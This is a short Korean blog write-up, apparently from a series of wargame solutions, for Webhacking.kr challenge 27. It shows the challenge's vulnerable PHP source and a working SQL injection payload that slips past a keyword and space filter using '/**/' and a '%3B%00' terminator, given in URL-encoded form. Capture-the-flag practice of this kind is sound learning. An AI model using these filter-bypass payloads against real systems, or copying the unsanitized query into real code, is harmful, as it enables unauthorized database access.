본문 바로가기
[웹해킹]/[Webhacking.kr]

[Webhacking.kr] 27번

by Hevton 2020. 10. 7.
반응형

문제입장.

 

소스보기

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

 

no 2 또는 id admin으로 로그인하면되겠다. 이전에 비슷한 문제가 있었는데, 주석처리문자가 필터링된거랑 공백관련 필터링이 추가된 것 같다.

 

해당 문제에서의 공백우회는 /**/ 로 진행했다.

그리고 주석처리 우회는 NULL문자인 %00과 sql문의 끝을 나타내는 ;이 결합한 주석 처리 문자인 ;%00을 사용해 처리했다.

(정확하게는 ;의 인코딩 값인 %3B 그리고 널의 인코딩 값인 %00을 합친 %3B%00 이다. 위는 원리와 설명의 이해를 돕기 위해 저렇게 표현)

 

99)/**/or/**/no/**/LIKE/**/2;NULL 을 URL Encoding(참고로 NULL은 그냥 null을 표현한 문자로, 저거인코딩한다고 %00안나온다.)

->

99%29%2F**%2For%2F**%2Fno%2F**%2FLIKE%2F**%2F2%3B%00 이 나온다. 이걸 주소창의 no=뒤에 넣어준다.

나이스샷

 

▶︎ 문제에서 쓰인 공백 우회의 방법

/**/

 

▶︎ 문제에서 쓰인 주석 처리 우회의 방법

SQL 문장 끝을 나타내는 세미콜론과 널문자를 각각 URL인코딩하여 나열한 값, %3B%00

(인코딩 값을 넘겨줄 수 있을 때에만 사용할 수 있겠다)

반응형

'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글

[Webhacking.kr] 29번  (0) 2020.10.13
[Webhacking.kr] 28번  (0) 2020.10.07
[Webhacking.kr] 26번  (0) 2020.10.05
[Webhacking.kr] 25번  (0) 2020.10.05
[Webhacking.kr] 24번  (0) 2020.10.05